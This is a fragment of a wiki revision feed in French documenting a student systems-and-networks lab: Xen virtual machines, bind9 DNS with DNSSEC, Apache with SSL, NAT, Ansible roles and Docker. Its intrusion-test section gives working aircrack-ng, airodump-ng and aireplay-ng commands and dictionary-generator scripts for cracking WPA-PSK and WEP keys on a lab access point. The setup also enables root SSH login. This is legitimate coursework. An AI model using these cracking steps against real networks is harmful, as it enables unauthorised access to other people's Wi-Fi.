===Paramétrage des rôles===&lt;br /&gt;
&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common  et  un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
---&lt;br /&gt;
- hosts: nous&lt;br /&gt;
  tasks:&lt;br /&gt;
    - name: include common&lt;br /&gt;
      include_role:&lt;br /&gt;
        name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossier , un dossier files contenant les fichiers ( .conf,motd,etc) et un dossier tasks ou il y aura nos playbook&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
&lt;br /&gt;
Dans le dossier tasks créer un fichier main.yml:&lt;br /&gt;
&lt;br /&gt;
 - name: Write on motd&lt;br /&gt;
   copy:&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier  motd présent dans common/files dans le etc/motd de machine à qui on applique le rôle.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier Files on crée un fichier motd ou l'on met notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajout : &lt;br /&gt;
&lt;br /&gt;
   - name: install ntp&lt;br /&gt;
       apt:&lt;br /&gt;
       name: ntp&lt;br /&gt;
   - name: install ntpdate&lt;br /&gt;
       apt:&lt;br /&gt;
       name: ntpdate  &lt;br /&gt;
   - name: Copy over the NTP configuration&lt;br /&gt;
       copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
       tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
       service: name=ntp state=stopped enabled=yes&lt;br /&gt;
       tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
       shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
       tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
       service: name=ntp state=started enabled=yes&lt;br /&gt;
       tags: ntp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on  crée ntp.conf qui référence notre  NTP:&lt;br /&gt;
&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire:&lt;br /&gt;
- on crée notre index.html (basique)&lt;br /&gt;
- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51798</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51798"/>
				<updated>2019-12-11T10:24:57Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Installation des systèmes d’exploitation: machine virtuelle Xen */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention  à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accés au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans votre domain  dans l'onglet glue records ajouté   : &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
c'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver  sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2 : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension  de  sécurité sur notre DNS  on l'active  dans  named.conf.options  : &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
on  signe les enregistrements de la zone en executant la  commandde suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK &lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common  et  un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
---&lt;br /&gt;
- hosts: nous&lt;br /&gt;
  tasks:&lt;br /&gt;
    - name: include common&lt;br /&gt;
      include_role:&lt;br /&gt;
        name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossier , un dossier files contenant les fichiers ( .conf,motd,etc) et un dossier tasks ou il y aura nos playbook&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
&lt;br /&gt;
Dans le dossier tasks créer un fichier main.yml:&lt;br /&gt;
&lt;br /&gt;
 - name: Write on motd&lt;br /&gt;
   copy:&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier  motd présent dans common/files dans le etc/motd de machine à qui on applique le rôle.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier Files on crée un fichier motd ou l'on met notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajout : &lt;br /&gt;
&lt;br /&gt;
   - name: install ntp&lt;br /&gt;
       apt:&lt;br /&gt;
       name: ntp&lt;br /&gt;
   - name: install ntpdate&lt;br /&gt;
       apt:&lt;br /&gt;
       name: ntpdate  &lt;br /&gt;
   - name: Copy over the NTP configuration&lt;br /&gt;
       copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
       tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
       service: name=ntp state=stopped enabled=yes&lt;br /&gt;
       tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
       shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
       tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
       service: name=ntp state=started enabled=yes&lt;br /&gt;
       tags: ntp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on  crée ntp.conf qui référence notre  NTP:&lt;br /&gt;
&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire:&lt;br /&gt;
- on crée notre index.html (basique)&lt;br /&gt;
- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
